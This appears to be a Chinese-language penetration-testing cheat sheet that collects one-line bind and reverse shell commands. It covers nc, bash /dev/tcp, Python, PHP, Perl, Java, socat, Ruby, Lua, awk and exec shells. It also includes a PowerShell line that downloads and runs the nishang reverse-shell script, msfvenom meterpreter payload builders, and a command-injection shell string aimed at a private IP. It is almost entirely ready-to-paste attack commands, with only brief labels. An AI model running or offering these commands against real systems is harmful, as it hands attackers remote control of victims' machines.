---

講在前面說(shuō)的話：

沒(méi)有任何基礎(chǔ)的 推薦 【技術(shù)分享】linux各種一句話反彈shell總結(jié)

---

反彈shell總結(jié)

nc反彈shell

正向shell

nc -lvp 1234 -e /bin/bash # linux  服務(wù)端（被攻擊的主機(jī)）

nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服務(wù)端（被攻擊的主機(jī)）

nc host.example.com 1234 # linux 客戶端

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux  服務(wù)端（被攻擊的主機(jī)）

nc host.example.com 1234 # 客戶端

反向shell

nc -lvp 1234 # 服務(wù)端

nc host.example.com 1234 -e /bin/sh # linux 客戶端 （被攻擊的主機(jī)）

nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客戶端 （被攻擊的主機(jī)）

正向shell（服務(wù)端被攻擊）：

本地或vps將自己的shell傳給服務(wù)器（端口監(jiān)聽(tīng)在服務(wù)器上）

反向shell（客戶端被攻擊）：

目標(biāo)機(jī)器將shell主動(dòng)傳給本地或vps（端口監(jiān)聽(tīng)在本地vps上）

無(wú)nc反彈shell

python反彈shell

nc -lvp 1234 # 服務(wù)端

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

# 繞過(guò)限制sudo提權(quán)
sudo python -c "import pty;pty.spawn("/bin/bash")"

# 反彈shell后，顯示當(dāng)前用戶信息
python -c "import pty; pty.spawn("/bin/bash")"

bash反彈shell

nc -lvp 1234 # 服務(wù)端

bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客戶端 （被攻擊的主機(jī)）

PHP反向shell

php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向shell

perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Java反彈shell

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});

p.waitFor();

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});

p.waitFor();

socat 反彈shell

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234

Ruby反彈shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Lua反彈shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Awk 反彈shell

awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

exec反彈shell

exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done

0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196

powershell反彈shell

apt-get install powshell

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234

利用msf生成反彈shell

Msfvenom生成一個(gè)反彈shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php

利用模塊

use exploit/multi/handler

msf生成一個(gè)war格式的反彈shell

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war

msfvenom生成一個(gè)payload,上傳到目標(biāo),增加執(zhí)行權(quán)限

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf

---

kali綜合滲透測(cè)試-常用代碼

命令執(zhí)行漏洞反彈shell代碼:

echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash

burpsuite抓包修改用戶名密碼的數(shù)據(jù)包內(nèi)容代入數(shù)據(jù)庫(kù)執(zhí)行，反彈shell語(yǔ)句

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1